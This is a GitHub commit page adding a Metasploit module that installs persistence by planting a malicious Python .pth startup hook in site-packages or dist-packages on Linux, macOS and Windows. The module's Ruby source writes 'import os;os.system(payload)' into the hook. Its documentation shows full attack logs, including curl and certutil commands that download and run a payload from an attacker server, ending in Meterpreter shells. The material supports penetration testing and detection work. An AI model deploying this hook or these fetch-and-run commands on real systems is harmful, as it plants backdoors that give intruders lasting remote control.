Skip to content

Commit 0d21fd4

Browse files
authored
Merge pull request #20692 from msutovsky-r7/persistence/multi/python-site-specific-config-hook
Adds module for python site-specific hook persistence
2 parents 8ce13f0 + d6bffff commit 0d21fd4

File tree

3 files changed

+222
-1
lines changed

3 files changed

+222
-1
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
## Vulnerable Application
2+
3+
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
4+
5+
## Verification Steps
6+
7+
1. Start msfconsole
8+
1. Get a session
9+
1. Do: `use multi/persistence/python_site_specific_hook`
10+
1. Do: `set session #`
11+
1. Do: `run`
12+
13+
## Options
14+
15+
### PYTHON_HOOK_PATH
16+
17+
If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks.
18+
19+
### EXECUTION_TARGET
20+
21+
Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user.
22+
23+
## Scenarios
24+
25+
### Linux pop-os 6.17.4-76061704-generic
26+
27+
```
28+
msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true
29+
[*] Command to run on remote host: curl -so ./xtLDGMnHcvHv http://192.168.3.7:8080/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./xtLDGMnHcvHv;./xtLDGMnHcvHv&
30+
[*] Exploit running as background job 9.
31+
[*] Exploit completed, but no session was created.
32+
33+
[*] Fetch handler listening on 192.168.3.7:8080
34+
[*] HTTP server started
35+
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
36+
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
37+
[+] The target is vulnerable. Python is present on the system
38+
[*] Detected Python version 3.10
39+
[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/
40+
[*] Creating directory /usr/local/lib/python3.10/dist-packages/
41+
[*] /usr/local/lib/python3.10/dist-packages/ created
42+
[*] Client 192.168.3.7 requested /EO6WzfXF6CGyqdBiy1rT5w
43+
[*] Sending payload to 192.168.3.7 (curl/7.81.0)
44+
[*] Transmitting intermediate stager...(126 bytes)
45+
[*] Sending stage (3090404 bytes) to 192.168.3.7
46+
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 192.168.3.7:34170) at 2025-11-19 07:04:54 +0100
47+
48+
msf exploit(multi/persistence/python_site_specific_hook) > sessions 4
49+
[*] Starting interaction with 4...
50+
51+
meterpreter > sysinfo
52+
Computer : 172.16.187.129
53+
OS : Pop 22.04 (Linux 6.17.4-76061704-generic)
54+
Architecture : x64
55+
BuildTuple : x86_64-linux-musl
56+
Meterpreter : x64/linux
57+
meterpreter > getuid
58+
Server username: ms
59+
60+
```
61+
62+
### Windows 10.0.15063
63+
```
64+
msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true
65+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/P0P_l8MTdDPpi4BXoUKxZw %TEMP%\RAKYJqUXyJK.exe & start /B %TEMP%\RAKYJqUXyJK.exe
66+
[*] Exploit running as background job 7.
67+
[*] Exploit completed, but no session was created.
68+
msf exploit(multi/persistence/python_site_specific_hook) >
69+
[*] Fetch handler listening on 192.168.3.7:8080
70+
[*] HTTP server started
71+
[*] Adding resource /P0P_l8MTdDPpi4BXoUKxZw
72+
[*] Started reverse TCP handler on 192.168.3.7:9999
73+
[*] Running automatic check ("set AutoCheck false" to disable)
74+
[+] The target is vulnerable. Python is present on the system
75+
[*] Detected Python version 3.13
76+
[*] Got path to site-specific hooks C:\Users\msfuser/AppData/Local/Programs/Python/Python313/Lib/site-packages/
77+
[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw
78+
[*] Sending payload to 10.5.132.155 (Microsoft-CryptoAPI/10.0)
79+
[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw
80+
[*] Sending payload to 10.5.132.155 (CertUtil URL Agent)
81+
[*] Sending stage (230982 bytes) to 10.5.132.155
82+
[*] Meterpreter session 3 opened (192.168.3.7:9999 -> 10.5.132.155:51726) at 2025-11-19 07:52:00 +0100
83+
84+
msf exploit(multi/persistence/python_site_specific_hook) > sessions 3
85+
[*] Starting interaction with 3...
86+
87+
meterpreter > sysinfo
88+
Computer : WIN10_1703_1018
89+
OS : Windows 10 1703 (10.0 Build 15063).
90+
Architecture : x64
91+
System Language : en_US
92+
Domain : WORKGROUP
93+
Logged On Users : 2
94+
Meterpreter : x64/windows
95+
meterpreter > getuid
96+
Server username: WIN10_1703_1018\msfuser
97+
98+
```

lib/msf/core/mitre/attack/technique.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -796,7 +796,7 @@ module Technique
796796
T1546_015_COMPONENT_OBJECT_MODEL_HIJACKING = 'T1546.015'
797797
T1546_016_INSTALLER_PACKAGES = 'T1546.016'
798798
T1546_017_UDEV_RULES = 'T1546.017'
799-
799+
T1546_018_PYTHON_STARTUP_HOOKS = 'T1546.018'
800800
T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION = 'T1547'
801801
T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER = 'T1547.001'
802802
T1547_002_AUTHENTICATION_PACKAGE = 'T1547.002'
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8+
9+
include Msf::Post::Linux::Priv
10+
include Msf::Post::File
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Python Site-Specific Hook Persistence',
21+
'Description' => %q{
22+
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [
26+
'msutovsky-r7', # msf module
27+
],
28+
'Platform' => ['linux', 'windows', 'osx'],
29+
'Arch' => [ ARCH_CMD ],
30+
'SessionTypes' => [ 'meterpreter', 'shell' ],
31+
'Targets' => [[ 'Auto', {} ]],
32+
'References' => [
33+
[ 'URL', 'https://docs.python.org/3/library/site.html'],
34+
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
35+
],
36+
'DisclosureDate' => '2012-09-29',
37+
'DefaultTarget' => 0,
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'Reliability' => [REPEATABLE_SESSION],
41+
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
42+
}
43+
)
44+
)
45+
register_options([
46+
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
47+
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
48+
])
49+
end
50+
51+
def get_hooks_path
52+
unless datastore['PYTHON_HOOK_PATH'].blank?
53+
@hooks_path = datastore['PYTHON_HOOK_PATH']
54+
return
55+
end
56+
case session.platform
57+
when 'windows', 'win'
58+
59+
case datastore['EXECUTION_TARGET']
60+
when 'USER'
61+
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
62+
when 'SYSTEM'
63+
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
64+
end
65+
when 'osx', 'linux'
66+
67+
case datastore['EXECUTION_TARGET']
68+
when 'USER'
69+
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
70+
when 'SYSTEM'
71+
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
72+
end
73+
end
74+
end
75+
76+
def get_python_version
77+
case session.platform
78+
when 'windows', 'win'
79+
cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
80+
when 'osx', 'linux'
81+
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
82+
end
83+
84+
@python_version = Regexp.last_match(1)
85+
end
86+
87+
def check
88+
get_python_version
89+
90+
return CheckCode::Safe('Python not present on the system') unless @python_version
91+
92+
CheckCode::Vulnerable('Python is present on the system')
93+
end
94+
95+
def install_persistence
96+
get_python_version unless @python_version
97+
print_status("Detected Python version #{@python_version}")
98+
get_hooks_path unless @hooks_path
99+
100+
mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'
101+
102+
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
103+
# check if hooks path writable
104+
begin
105+
# windows only ps payloads have writable? so try that first
106+
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
107+
rescue RuntimeError
108+
filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
109+
write_file(filename, '')
110+
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
111+
rm_f(filename)
112+
end
113+
114+
print_status("Got path to site-specific hooks #{@hooks_path}")
115+
116+
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
117+
118+
fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
119+
120+
print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
121+
@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
122+
end
123+
end

0 commit comments

Comments
 (0)